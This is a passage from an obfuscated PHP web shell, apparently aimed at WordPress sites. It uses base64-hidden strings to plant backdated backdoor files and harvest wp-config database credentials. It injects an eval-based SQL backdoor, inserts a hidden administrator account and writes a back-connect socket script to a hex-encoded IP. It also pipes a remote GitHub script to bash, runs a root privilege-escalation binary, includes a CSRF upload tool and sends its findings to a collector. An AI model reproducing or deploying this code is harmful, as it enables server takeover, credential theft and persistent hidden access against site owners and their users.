$GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $fullSubdirFile) . PHP_EOL; $treba++; } } $picksubdirlapor13 = $subdir[array_rand($subdir, 1)]; $namafilelapor13 = $namanamafile[array_rand($namanamafile, 1)]; $lapor13 = $picksubdirlapor13 . DIRECTORY_SEPARATOR . $namafilelapor13; if (!$GNJ[26]($lapor13)) { $report13 = fgt($adminer); file_put_contents($lapor13, $report13); @$GNJ[25]($lapor13, $waktu); } if ($GNJ[26]($lapor13) && $GNJ[34]($lapor13) > 0) { echo wb('PGJyPkFkbWluZXI6IA=='); echo wb('PGEgaHJlZj0nLy8=') . $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $lapor13) . wb('JyB0YXJnZXQ9J19ibGFuayc+') . $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $lapor13) . wb('PC9hPg=='); echo wb('PGJyPldQOiA=') . $folderio; $reportFinal .= wb('QWRtaW5lcjog') . $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $lapor13) . PHP_EOL; $reportFinal .= wb('V1A6IA==') . $folderio . PHP_EOL; } $cxz = fgt($lapor8); preg_match(wb('L2RlZmluZS4qREJfTkFNRS4qJyguKiknLw=='), $cxz, $mxz); $dbname = $mxz[1]; preg_match(wb('L2RlZmluZS4qREJfVVNFUi4qJyguKiknLw=='), $cxz, $mxz); $dbuser = $mxz[1]; preg_match(wb('L2RlZmluZS4qREJfUEFTU1dPUkQuKicoLiopJy8='), $cxz, $mxz); $dbpass = $mxz[1]; preg_match(wb('L2RlZmluZS4qREJfSE9TVC4qJyguKiknLw=='), $cxz, $mxz); $dbhost = $mxz[1]; preg_match(wb('L3RhYmxlX3ByZWZpeC4qPS4qJyguKiknLw=='), $cxz, $mxm); $table_prefix = $mxm[1]; if (isset($dbname)) { echo wb('PGJyPkRCIE5hbWU6IA==') . $dbname; echo wb('IC0gREIgSG9zdDog') . $dbhost; echo wb('PGJyPkRCIFVzZXI6IA==') . $dbuser; echo wb('IC0gREIgUGFzczog') . $dbpass; $reportFinal .= wb('REIgTmFtZTog') . $dbname . wb('IHwgREIgSG9zdDog') . $dbhost . wb('IHwgREIgVXNlcjog') . $dbuser . wb('IHwgREIgUGFzczog') . $dbpass . PHP_EOL; } if (isset($dbname)) { $filetoinject = $folderio . wb('L3dwLWNvbmZpZy1zYW1wbGUucGhw'); if (!$GNJ[26]($filetoinject)) { $GNJ[25]($filetoinject, $waktu); } $key = generateRandomString(); $shellz = wb('UEQ5d2FIQWdaV05vYnlBblBHWnZjbTBnWVdOMGFXOXVQU0lpSUcxbGRHaHZaRDBpY0c5emRDSWdaVzVqZEhsd1pUMGliWFZzZEdsd1lYSjBMMlp2Y20wdFpHRjBZU0lnYm1GdFpUMGljRzFpSWlCcFpEMGljRzFpSWo0OGFXNXdkWFFnZEhsd1pUMGlabWxzWlNJZ2JtRnRaVDBpWm1sc1pTSWdjMmw2WlQwaU5UQWlQanhwYm5CMWRDQnVZVzFsUFNKdmFuTWlJSFI1Y0dVOUluTjFZbTFwZENJZ2FXUTlJbTlxY3lJZ2RtRnNkV1U5SWtOeWIzUWlQand2Wm05eWJUNG5PMmxtS0NSZlVFOVRWRnNuYjJwekoxMDlQU0pEY205MElpbDdhV1lvUUdGeWNtRjVLQ1JmUmtsTVJWTmJKMlpwYkdVblhWc25kRzF3WDI1aGJXVW5YU3drWDBaSlRFVlRXeWRtYVd4bEoxMWJKMjVoYldVblhTa3BJSHNnWldOb2J5QW5QR0krVDJ0bFBDOWlQaWM3SUgwZ1pXeHpaU0I3SUdWamFHOGdKenhpUGxWd2N6d3ZZajRuTzMwZ2ZXVjRhWFFvS1RzZ1B6ND0='); if ($conn = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname)) { if (@is_file($filetoinject) && @$GNJ[31]($filetoinject)) { @mysqli_query($conn, wb('RFJPUCBUQUJMRSBgbGljZW5zZXNg')); @mysqli_query($conn, wb('Q1JFQVRFIFRBQkxFIGBsaWNlbnNlc2AgKGNvZGUgTE9OR1RFWFQp')); @mysqli_query($conn, wb('SU5TRVJUIElOVE8gYGxpY2Vuc2VzYCBWQUxVRVMoIg==') . $shellz . wb('Iik=')); $code = wb('PD9waHAgaWYoaXNzZXQoJF9HRVRbIngiXSkmJiRfR0VUWyJ4Il09PSI=') . $key . wb('Iil7JGNvbm49bXlzcWxpX2Nvbm5lY3QoIg==') . str_replace(wb('Ig=='), wb('XCI='), $dbhost) . wb('Iiwi') . str_replace(wb('Ig=='), wb('XCI='), $dbuser) . wb('Iiwi') . str_replace(wb('Ig=='), wb('XCI='), $dbpass) . wb('Iiwi') . str_replace(wb('Ig=='), wb('XCI='), $dbname) . wb('Iik7JHE9bXlzcWxpX3F1ZXJ5KCRjb25uLCJTRUxFQ1QgYGNvZGVgIEZST00gbGljZW5zZXMgTElNSVQgMCwxIik7JHI9bXlzcWxpX2ZldGNoX2Fzc29jKCRxKTskZnVuYz0iY3IiLiJlYSIuInRlXyIuImZ1biIuImN0aW9uIjskeD0kZnVuYygiXCRjIiwiZSIuInYiLiJhbCIuIignPz4nLmJhc2UiLiI2NCIuIl9kZWMiLiJvZGUoXCRjKSk7Iik7JHgoJHJbImNvZGUiXSk7ZXhpdDt9Pz4='); @$GNJ[25]($filetoinject, $waktu); } @file_put_contents($filetoinject, $code . wb('Cg==') . @file_get_contents($filetoinject)); $reportFinal .= $fullxx . str_replace($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $filetoinject) . wb('P3g9') . $key . PHP_EOL; echo wb('PGJyPlNRTCBCYWNrZG9vcjogPGEgaHJlZj0nLy8=') . $fullxx . str_replace($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $filetoinject) . wb('P3g9') . $key . wb('JyB0YXJnZXQ9J19ibGFuayc+') . $fullxx . str_replace($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $filetoinject) . wb('P3g9') . $key . wb('PC9hPjxicj4='); } } if (isset($table_prefix)) { $conn = new mysqli($dbhost, $dbuser, $dbpass, $dbname); if ($conn->connect_error) { echo ''; } else { $passw0rd = generateRandomString(); $sql = wb('SU5TRVJUIElOVE8g') . $table_prefix . "\165\x73\x65\162\163\x20\50\x49\x44\54\40\165\163\145\162\x5f\154\157\x67\x69\156\54\x20\165\x73\145\x72\137\x70\x61\x73\x73\x2c\x20\165\x73\145\x72\x5f\x6e\151\143\x65\x6e\x61\x6d\145\54\40\165\163\x65\x72\x5f\145\x6d\x61\x69\154\x2c\40\x75\163\145\162\x5f\165\162\x6c\x2c\x20\x75\163\x65\x72\137\x72\x65\x67\151\163\x74\x65\162\145\144\x2c\x20\x75\163\145\x72\137\x61\143\164\151\166\x61\164\x69\157\x6e\x5f\153\x65\171\54\x20\165\163\145\x72\x5f\163\164\x61\164\x75\163\54\40\144\x69\x73\160\154\x61\171\x5f\156\141\155\145\x29\x20\x56\101\x4c\125\105\123\x20\x28\x27\71\71\x38\71\71\x27\x2c\40\47{$dbuser}\47\54\x20\115\x44\65\x28\x27" . $passw0rd . "\47\51\x2c\x20\47{$dbname}\47\54\40\47\x61\144\x6d\x69\156\100\x67\157\157\147\x6c\145\x2e\143\x6f\x6d\x27\54\x20\47\150\164\x74\160\x3a\x2f\57\167\167\x77\x2e\147\x6f\157\147\154\145\56\143\x6f\155\57\x27\54\x20\47\62\60\x31\70\55\60\x36\x2d\x30\x37\x20\x30\60\x3a\x30\60\72\60\x30\x27\x2c\x20\47\x27\x2c\40\x27\x30\47\54\x20\x27{$dbname}\47\51\x3b"; $sql .= wb('SU5TRVJUIElOVE8g') . $table_prefix . wb('dXNlcm1ldGEgKHVtZXRhX2lkLCB1c2VyX2lkLCBtZXRhX2tleSwgbWV0YV92YWx1ZSkgVkFMVUVTIChOVUxMLCAnOTk4OTknLCAn') . $table_prefix . wb('Y2FwYWJpbGl0aWVzJywgJ2E6MTp7czoxMzoiYWRtaW5pc3RyYXRvciI7czoxOiIxIjt9Jyk7'); $sql .= wb('SU5TRVJUIElOVE8g') . $table_prefix . wb('dXNlcm1ldGEgKHVtZXRhX2lkLCB1c2VyX2lkLCBtZXRhX2tleSwgbWV0YV92YWx1ZSkgVkFMVUVTIChOVUxMLCAnOTk4OTknLCAn') . $table_prefix . wb('dXNlcl9sZXZlbCcsICcxMCcpOw=='); if ($conn->multi_query($sql) === true) { echo wb('PGJyPlU6IA==') . $dbname . wb('IFA6IA==') . $passw0rd; $reportFinal .= wb('VTog') . $dbname . wb('IFA6IA==') . $passw0rd . PHP_EOL; } $conn->close(); } } } else { $waktu = $GNJ[33](wb('LQ==') . rand(30, 90) . wb('IGRheXM='), time()); $trebo = 0; while ($trebo <= count($itemsxz)) { switch ($modeio) { case wb('c3RhbmRhcmQ='): $namafilenx = $namanamafile[array_rand($namanamafile, 1)]; break; default: $namafilenx = $enx1[array_rand($enx1, 1)]; } $picksubdirX1 = $eft0[array_rand($eft0, 1)]; $picksubdirFirst = $subdir[array_rand($subdir, 1)]; $sourcezx = $itemsxz[array_rand($itemsxz, 1)]; if ($totaldir < count($eft0)) { $picksubdir = $picksubdirFirst . DIRECTORY_SEPARATOR . $picksubdirX1; } else { $picksubdir = $picksubdirFirst; } $fullSubdirFile = $picksubdir . DIRECTORY_SEPARATOR . $namafilenx; $htaccess = $picksubdir . DIRECTORY_SEPARATOR . wb('Lmh0YWNjZXNz'); if (!$GNJ[26]($fullSubdirFile)) { if (!$GNJ[26]($picksubdir)) { if (!$GNJ[11]($picksubdir, 493, true)) { continue; } } if (!$GNJ[31]($picksubdir)) { continue; } if ($GNJ[26]($htaccess)) { $htaneh = fgt($htaccess); $rintangan1 = wb('L0ZpbGVzTWF0Y2gvaQ=='); $rintangan2 = wb('L1JlcXVpcmUgYWxsIGRlbmllZC9p'); preg_match($rintangan1, $htaneh, $hasilhtaneh); preg_match($rintangan2, $htaneh, $hasilhtaneh); $wipesht = $hasilhtaneh[1]; if (isset($wipesht)) { @$GNJ[12]($picksubdir . DIRECTORY_SEPARATOR . wb('Lmh0YWNjZXNz'), 420); @$GNJ[10]($picksubdir . DIRECTORY_SEPARATOR . wb('Lmh0YWNjZXNz')); } } $waktu = $GNJ[33](wb('LQ==') . rand(30, 90) . wb('IGRheXM='), time()); $reportx = fgt($sourcezx); file_put_contents($fullSubdirFile, $reportx); @$GNJ[25]($fullSubdirFile, $waktu); if ($GNJ[26]($fullSubdirFile) && $GNJ[34]($fullSubdirFile) > 0) { echo wb('PGEgaHJlZj0nLy8=') . $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $fullSubdirFile) . wb('JyB0YXJnZXQ9J19ibGFuayc+') . $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $fullSubdirFile) . wb('PC9hPjxicj4='); @$GNJ[25]($fullSubdirFile, $waktu); } $reportFinal .= $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $fullSubdirFile) . PHP_EOL; $trebo++; } } } $soxxF = wb('aXB2NC5waHA='); $picksubdirSox = $subdir[array_rand($subdir, 1)]; $soxx = $picksubdirSox . DIRECTORY_SEPARATOR . $soxxF; $soxCode = html_entity_decode($GNJ[39](b64dd($sox))); $srcSox = wb('PD9waHAg') . wb('c2V0X3RpbWVfbGltaXQoMCk7ICRpcD0nMHgzMy4weDRmLjB4ZjEuMHg4NSc7ICRwb3J0PTU0MzM7') . $soxCode . wb('ID8+'); if (@file_put_contents($soxx, $srcSox)) { echo wb('PGJyPlBIUCBTb2NrZXRzOiA8YSBocmVmPScvLw==') . $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $soxx) . wb('JyB0YXJnZXQ9J19ibGFuayc+') . $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $soxx) . wb('PC9hPjxicj4='); @$GNJ[25]($soxx, $waktu); $reportFinal .= wb('QmFja2Nvbm5lY3Q6IA==') . $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $soxx) . PHP_EOL; } if (function_exists(wb('ZXhlYw=='))) { if (OS() === wb('TGludXg=')) { $astaga = wb('a3VtYW4ucGhw'); $picksubdirbot = $subdir[array_rand($subdir, 1)]; $astagaf = $picksubdirbot . DIRECTORY_SEPARATOR . $astaga; $bt = fgt(decno(wb('eDhHc3ZiU1NlSHpHdHF5MXRycDNzTTY2WjdHd3hyaDYyY2Ruc2JER3VIclp4MmEwcXN5eHdzRjdvYnh3eXFyRWpycVp0cStIdE1MTXJxWT0='))); file_put_contents($astagaf, $GNJ[39](b64dd($bt))); exec(wb('Y2Qg') . $picksubdirbot . wb('ICYmIGV4ZWMgLWEgYXBhYW4ubG9lLmxpYXQubnlldCBwaHAgLWY=') . $astagaf . wb('ID4gL2Rldi9udWxsICY=')); $reportFinal .= wb('VHVtYW4gOiA=') . $fullxx . str_replace($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $picksubdirbot . wb('L3R1bWFuLnBocA==')) . PHP_EOL; echo wb('PGJyPlR1bWFuIDogPGEgaHJlZj0nLy8=') . $fullxx . str_replace($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $picksubdirbot . wb('L3R1bWFuLnBocA==')) . wb('JyB0YXJnZXQ9J19ibGFuayc+') . $fullxx . str_replace($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $picksubdirbot . wb('L3R1bWFuLnBocA==')) . wb('PC9hPg=='); } } echo wb('PC9jb2RlPg=='); } $finalist = b64ed($reportFinal); GrabMe($_SERVER[wb('SFRUUF9IT1NU')], $finalist); $gsc = wb('WjI5dloyeGxMWE5wZEdVdGRtVnlhV1pwWTJGMGFXOXVPaUJuYjI5bmJHVmlaR00yTXpjNE1USm1aRGs1TnpJeUxtaDBiV3c9'); if (@file_put_contents($folderio . wb('L2dvb2dsZWJkYzYzNzgxMmZkOTk3MjIuaHRtbA=='), b64dd($gsc))) { @$GNJ[25]($folderio . wb('L2dvb2dsZWJkYzYzNzgxMmZkOTk3MjIuaHRtbA=='), $waktu); } } EndofLife: } elseif (isset($_GET[hex(wb('YXV0b2V4cGxv'))])) { ExploitermenU($d); echo wb('PGJyPjxicj48Y2VudGVyPjxoMj5BdXRvIEV4cGxvPC9oMj48YnI+'); echo wb('PGJyPjxmb3JtIG1ldGhvZD0nUE9TVCcgYWN0aW9uPScnPgoJCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgY2xhc3M9J2J0biBidG4tZGFuZ2VyIGJ0bi1sZycgbmFtZT0nYXV0b3gnIHZhbHVlPSdIQUpBUiBNQVNaRUVIISc+PC9pbnB1dD4KCQkJPC9mb3JtPjwvY2VudGVyPg=='); if (isset($_POST[wb('YXV0b3g=')])) { $autoo = exec(wb('bWtkaXIgLnAgJiYgY2QgLnAgJiYgYmFzaCAtYyAiJChjdXJsIC1mc1NMayBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vd2FybW9kZTY2Ni90aGVzYXRhbi9tYWluL3gpIiAmJiBleGl0'), $output); echo wb('PHRleHRhcmVhIHJlYWRvbmx5Pg=='); print_r($output); echo wb('PC90ZXh0YXJlYT4='); } } elseif (isset($_GET[hex(wb('NDAzNGV4ZQ=='))])) { ExploitermenU($d); if ($GNJ[26](wb('X3g='))) { exe(wb('cm0gLXJmIF94')); } if (is_32bit()) { exe(decno(wb('d3NLcXVXR0ZyOEN5bWFOdHFjeTl2ZEtIWjN5enVjQjd4cmFzdGJhNnZzREV2NXU4cjh5dXU5TjdtN3l1aDdYR2s3aG5uYmpHbExiVGZLV3Vxc1o0bmRhN2c3YTFpM3R0akx4WXJMbVRyTFhNdkp4dGJOQnByTmM9'))); } else { exe(decno(wb('d3NLcXVXR0ZyOEN5bVZpMXRjeTV3Smw4WjcraXozZTB5TUdnd3FQTnZMTFJzS2U3dGIyM3dZMndwN3B3eE1LQnlueUl4Sytqc3NHT3VwbTJyNGVaeE0yWW9jRmhoYmh0dnNWenNLbkZ1TEYvZUxCdG9OQT0='))); } echo wb('PHAgY2xhc3M9InRleHQtbXV0ZWQiPlsrXSBDaGVja2luZyBSb290PC9wPg=='); $cekroot = ex(wb('Li9feCAnaWQn')); if ($cekroot == '') { echo wb('PHAgY2xhc3M9InRleHQtbXV0ZWQiPlsrXSBGYWlsZWQgUm9vdGVkITwvcD4='); @$GNJ[10](wb('X3g=')); exe(wb('cm0gLXJmIF94')); exe(wb('cm0gLXJmIEdDT05WX1BBVEg9Lg==')); exe(wb('cm0gLXJmIC5wa2V4ZWM=')); GetMe($_SERVER[wb('SFRUUF9IT1NU')], wb('Tm9uUm9vdA==')); } else { echo wb('PHAgY2xhc3M9InRleHQtbXV0ZWQiPlsrXSBUZXN0aW5nIDog') . ex(wb('Li9feCBpZA==')) . wb('PGJyPjwvcD4='); $cekroot = ex(wb('Li9feCAnY2hvd24gcm9vdDpyb290IF94Jw==')); $cekroot = ex(wb('Li9feCAnY2htb2QgNDc3NyBfeCc=')); echo wb('PHAgY2xhc3M9J3RleHQtbXV0ZWQnPlsrXSBSZWFkeSBNYXN6ZWVoIDogPGEgaHJlZj0nP2Q9') . hex($d) . wb('Jg==') . hex(wb('cjAwdA==')) . wb('Jz5yMDB0Kys8L2E+PGJyPjwvcD4='); GetMe($_SERVER[wb('SFRUUF9IT1NU')], wb('cjAwdA==')); } } elseif (isset($_GET[hex(wb('Y3NyZg=='))])) { ExploitermenU($d); echo wb('Cjxocj48YnI+PGNlbnRlcj48aDIgc3R5bGU9ImZvbnQtc2l6ZTozM3B4OyI+Q1NSRiBFeHBsb2l0ZXIgWTwvaDI+PGJyPjxicj4KPGZvbnQgc2l6ZT0iMyI+Kk5vdGUgOiBQb3N0IEZpbGUsIFR5cGUgOiBGaWxlZGF0YSAvIGR6dXBsb2FkIC8gZHpmaWxlIC8gZHpmaWxlcyAvIGZpbGUgLyBhamF4ZnVwIC8gZmlsZXNbXSAvIHFxZmlsZSAvIHVzZXJmaWxlIC8gZXRjPC9mb250Pgo8YnI+PGJyPgo8Zm9ybSBtZXRob2Q9IlBPU1QiIHN0eWxlPSJmb250LXNpemU6MjVweDsiIGFjdGlvbj0gIiI+ClVSTDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVybCIgc2l6ZT0iNTAiIGhlaWdodD0iMTAiIHBsYWNlaG9sZGVyPSJodHRwOi8vd3d3LnRhcmdldC5jb20vcGF0aC91cGxvYWQucGhwIiBzdHlsZT0ibWFyZ2luOiA1cHggYXV0bzsgcGFkZGluZy1sZWZ0OiA1cHg7IHdpZHRoOjQ1MHB4OyIgY2xhc3MgPSAiZm9ybS1jb250cm9sIiByZXF1aXJlZCBhdXRvY29tcGxldGUgPSAib2ZmIj48YnI+ClBPU1QgRmlsZTogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBmIiBzaXplPSI1MCIgaGVpZ2h0PSIxMCIgcGxhY2Vob2xkZXI9IkxpaGF0IGRpYXRhcyBeIiBzdHlsZT0ibWFyZ2luOiA1cHggYXV0bzsgcGFkZGluZy1sZWZ0OiA1cHg7IHdpZHRoOjI1MHB4OyIgcmVxdWlyZWQgY2xhc3MgPSAiZm9ybS1jb250cm9sIiBhdXRvY29tcGxldGUgPSAib2ZmIj48YnI+CjxpbnB1dCBzdHlsZT0id2lkdGg6MzUwcHg7IiB0eXBlPSJzdWJtaXQiIG5hbWU9ImQiIHZhbHVlPSJMb2NrISIgY2xhc3MgPSAiZm9ybS1jb250cm9sIj4KPC9mb3JtPjxicj48YnI+'); $url = $_POST[wb('dXJs')]; $pf = $_POST[wb('cGY=')]; $d = $_POST[wb('ZA==')]; if ($d) { echo "\xa\11\x3c\150\x32\x3e\125\160\154\x6f\x61\x64\x20\131\157\x75\x72\x20\x46\x69\x6c\x65\x73\74\57\x68\62\76\xa\x9\74\146\x6f\x72\155\40\155\x65\x74\x68\x6f\144\x3d\x27\160\157\163\164\47\x20\x74\141\162\147\145\x74\x3d\47\137\142\x6c\141\156\153\x27\40\141\143\x74\x69\157\156\75\47{$url}\x27\x20\x65\156\143\x74\x79\x70\x65\75\47\x6d\x75\x6c\164\151\160\141\162\164\x2f\146\157\x72\x6d\x2d\x64\141\164\141\x27\76\74\151\156\160\165\164\40\x74\x79\160\x65\x3d\x27\x66\x69\x6c\x65\47\40\x6e\x61\155\x65\75\47{$pf}\47\x3e\x3c\x69\156\x70\165\x74\x20\x74\171\x70\145\75\47\163\x75\x62\x6d\x69\164\47\40\156\x61\155\145\75\47\x67\47\x20\166\141\154\x75\x65\x3d\x27\125\x70\154\x6f\141\144\x27\x3e\x3c\57\146\x6f\162\155\x3e"; } } elseif (isset($_GET[hex(wb('YXV0b190b29scw=='))])) { AutomenU($d); } elseif (isset($_GET[hex(wb('RU5D'))])) { AutomenU($d); function xcode($string) { $result = ''; for ($index = 0; $index < strlen($string); $index += 1) { $result .= chr(ord($string[$index]) + 1); } return $result; } if (isset($_POST[wb('ZW5jcnlwdA==')])) { $encrypt = $_POST[wb('ZW5jcnlwdA==')]; } else { $encrypt = wb('ZWNobyAiUnViYWggSW5pISI7'); $encrypt = @htmlentities($encrypt); } echo wb('CTxicj48YnI+CgkJCQk8aDI+IFggRW5jcnlwdGlvbiA8c3VwPk5vIFBIUCBPcGVuPC9zdXA+PC9oMj48Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KCQkJCQk8dGV4dGFyZWEgY2xhc3M9ICJmb3JtLWNvbnRyb2wgcm91bmRlZC0wIiBzdHlsZT0ibWluLXdpZHRoOiA5NiU7IGhlaWdodDogMjAwcHg7IiBuYW1lPSJlbmNyeXB0Ij4=') . $encrypt . wb('PC90ZXh0YXJlYT48YnI+CgkJCQkJPGlucHV0IGNsYXNzID0gImZvcm0tY29udHJvbCByb3VuZGVkLTAiIHR5cGU9InN1Ym1pdCIgbmFtZT0iY3J5cHQiIHN0eWxlPSJ3aWR0aDogMjUwcHg7bWFyZ2luOiAwIGF1dG87ICIgdmFsdWU9IkNyeXB0IGl0ISI+CgkJCQk8L2Zvcm0+PGJyPg=='); if (isset($_POST[wb('Y3J5cHQ=')]) && isset($_POST[wb('ZW5jcnlwdA==')])) { $isi = $_POST[wb('ZW5jcnlwdA==')]; $isi2 = xcode($isi); $isi3 = gzdeflate($isi2, 9); $isi4 = b64ed($isi3); $isifinalphp72 = wb('ZnVuY3Rpb24geG5vY29kZSgkeHN0cmluZykgeyAkeHJlc3VsdCA9ICcnOyBmb3IgKCR4bmRleCA9IDA7JHhuZGV4IDwgc3RybGVuKCR4c3RyaW5nKTskeG5kZXggKz0gMSkgJHhyZXN1bHQgLj0gY2hyKG9yZCgkeHN0cmluZ1skeG5kZXhdKSAtIDEpOyByZXR1cm4gJHhyZXN1bHQ7IH0gJHhjb2Rlb2sgPSB4bm9jb2RlKGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCc=') . $isi4 . wb('JykpKTsgY2FsbF91c2VyX2Z1bmMoY3JlYXRlX2Z1bmN0aW9uKCcnLCAkeGNvZGVvaykpOw=='); $isifinalphp74 = wb('ZnVuY3Rpb24geG5vY29kZSgkeHN0cmluZykgeyAkeHJlc3VsdCA9ICcnOyBmb3IgKCR4bmRleCA9IDA7JHhuZGV4IDwgc3RybGVuKCR4c3RyaW5nKTskeG5kZXggKz0gMSkgJHhyZXN1bHQgLj0gY2hyKG9yZCgkeHN0cmluZ1skeG5kZXhdKSAtIDEpOyByZXR1cm4gJHhyZXN1bHQ7IH0gJHhjb2Rlb2sgPSB4bm9jb2RlKGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCc=') . $isi4 . wb('JykpKTsgZXZhbChjcmVhdGVfZnVuY3Rpb24oJycsICR4Y29kZW9rKSk7'); echo wb('Cgo='); echo wb('PGRpdiBjbGFzcz0nZm9ybS1ncm91cCc+PGNlbnRlcj48bGFiZWwgZm9yPSdleGFtcGxlRm9ybUNvbnRyb2xUZXh0YXJlYTEnPkhhc2lsIEVuY3J5cHQgUEhQIDw9IDcuMiBPbmx5PC9sYWJlbD48L2NlbnRlcj48dGV4dGFyZWEgcmVhZG9ubHkgY2xhc3M9J2Zvcm0tY29udHJvbCByb3VuZGVkLTAnIHJvd3M9JzUnPg==') . $isifinalphp72 . wb('PC90ZXh0YXJlYT48L2Rpdj4='); echo wb('PGRpdiBjbGFzcz0nZm9ybS1ncm91cCc+PGNlbnRlcj48bGFiZWwgZm9yPSdleGFtcGxlRm9ybUNvbnRyb2xUZXh0YXJlYTEnPkhhc2lsIEVuY3J5cHQgUEhQID49IDcuNCBPbmx5PC9sYWJlbD48L2NlbnRlcj48dGV4dGFyZWEgcmVhZG9ubHkgY2xhc3M9J2Zvcm0tY29udHJvbCByb3VuZGVkLTAnIHJvd3M9JzUnPg==') . $isifinalphp74 . wb('PC90ZXh0YXJlYT48L2Rpdj4='); } } elseif (isset($_GET[hex(wb('cjAwdA=='))])) { $bash3ll = fgt(decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3hiaXgxTG1kd0hDNnFzREhlNnpGdFE9PQ=='))); $r00tsh3ll = $GNJ[39](b64dd($bash3ll)); echo $r00tsh3ll; } elseif (isset($_GET[hex(wb('cHJvY2Vzc3g='))])) { if (isset($_GET[wb('cGlk')])) { $s_p = $_GET[wb('cGlk')]; if (function_exists(wb('cG9zaXhfa2lsbA=='))) { $s_buff = posix_kill($s_p, wb('OQ==')) ? wb('UHJvY2VzcyB3aXRoIHBpZCA=') . $s_p . wb('IGhhcyBiZWVuIHN1Y2Nlc3NmdWxseSBraWxsZWQ=') : wb('VW5hYmxlIHRvIGtpbGwgcHJvY2VzcyB3aXRoIHBpZCA=') . $s_p; } else { if (!$s_win) { $s_buff = exe(wb('a2lsbCAtOSA=') . $s_p); } else { $s_buff = exe(wb('dGFza2tpbGwgL0YgL1BJRCA=') . $s_p); } } } if (!$s_win) { $s_h = wb('cHMgYXV4'); } else { $s_h = wb('dGFza2xpc3QgL1YgL0ZPIGNzdg=='); } $s_wcount = 11; $s_wexplode = wb('IA=='); if ($s_win) { $s_wexplode = wb('Iiwi'); } $s_res = exe($s_h); if (trim($s_res) == '') { echo wb('PGgyPjxoMiBjbGFzcz0nbm90aWYnPkVycm9yIGdldHRpbmcgcHJvY2VzcyBsaXN0PC9oMj48L2NlbnRlcj4='); } else { if (isset($s_buff)) { echo wb('PHAgY2xhc3M9J25vdGlmJz4=') . $s_buff . wb('PC9wPg=='); } echo wb('PGRpdiBjbGFzcz0ndGFibGUtcmVzcG9uc2l2ZSc+PHRhYmxlIGNsYXNzID0gJ3RhYmxlLXNtIHRhYmxlLWRhcmsgdGFibGUtc3RyaXBlZCB0YWJsZS1ib3JkZXJlZCBtdC0zIGhvdmVyVGFibGUnPjx0aGVhZD4='); if (!$s_win) { $s_res = preg_replace(wb('I1wgKyM='), wb('IA=='), $s_res); } $s_psarr = explode(wb('Cg=='), $s_res); $s_fi = true; $s_tblcount = 0; $s_check = explode($s_wexplode, $s_psarr[0]); $s_wcount = count($s_check); foreach ($s_psarr as $s_psa) { if (trim($s_psa) != '') { if ($s_fi) { $s_fi = false; $s_psln = explode($s_wexplode, $s_psa, $s_wcount); echo wb('PHRyPjx0aCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz5BQ1RJT048L3RoPg=='); foreach ($s_psln as $s_p) { echo wb('PHRoIHNjb3BlPSdyb3cnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPg==') . trim(trim(strtoupper($s_p)), wb('Ig==')) . wb('PC90aD4='); } echo wb('PC90cj48L3RoZWFkPjx0Ym9keT4='); } else { $s_psln = explode($s_wexplode, $s_psa, $s_wcount); echo wb('PHRyPg=='); $s_tblcount = 0; foreach ($s_psln as $s_p) { if (trim($s_p) == '') { $s_p = wb('Lg=='); } if ($s_tblcount == 0) { echo wb('PHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGNsYXNzPSdmb3JtLWNvbnRyb2wgYWp4JyBocmVmPSc/ZD0=') . hex($d) . wb('Jg==') . hex(wb('cHJvY2Vzc3g=')) . wb('JnBpZD0=') . trim(trim($s_psln[1]), wb('Ig==')) . wb('Jz5LaWxsPC9hPjwvdGQ+CiAJPHRkPg==') . trim(trim($s_p), wb('Ig==')) . wb('PC90ZD4='); $s_tblcount++; } else { $s_tblcount++; if ($s_tblcount == count($s_psln)) { echo wb('PHRkPg==') . trim(trim($s_p), wb('Ig==')) . wb('PC90ZD4='); } else { echo wb('PHRkPg==') . trim(trim($s_p), wb('Ig==')) . wb('PC90ZD4='); } } } echo wb('PC90cj4='); } } } echo wb('PC90Ym9keT48L3RhYmxlPjwvZGl2Pg=='); } } elseif (isset($_GET[hex(wb('TG9ja2Rvd24='))])) { AutomenU($d); if (isset($direktori)) { $direktori = $_POST[wb('ZGlyZWt0b3JpeA==')]; } else { $direktori = $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]; } echo wb('PGNlbnRlcj48aHI+PGJyPjxoMj5Mb2NrZG93biBZPC9oMj48YnI+'); $htaccess = $direktori . wb('Ly5odGFjY2Vzcw=='); if ($GNJ[26]($htaccess)) { echo wb('PGEgY2xhc3M9ImJ0biBidG4tc3VjY2VzcyBidG4tc20gYWp4ICIgaHJlZj0iP2Q9') . hex($d) . wb('Jg==') . hex(wb('TG9ja2Rvd24=')) . wb('Ij46OiBDaGVjayBMb2NrIDo6PC9hPg=='); $htaccess_content = 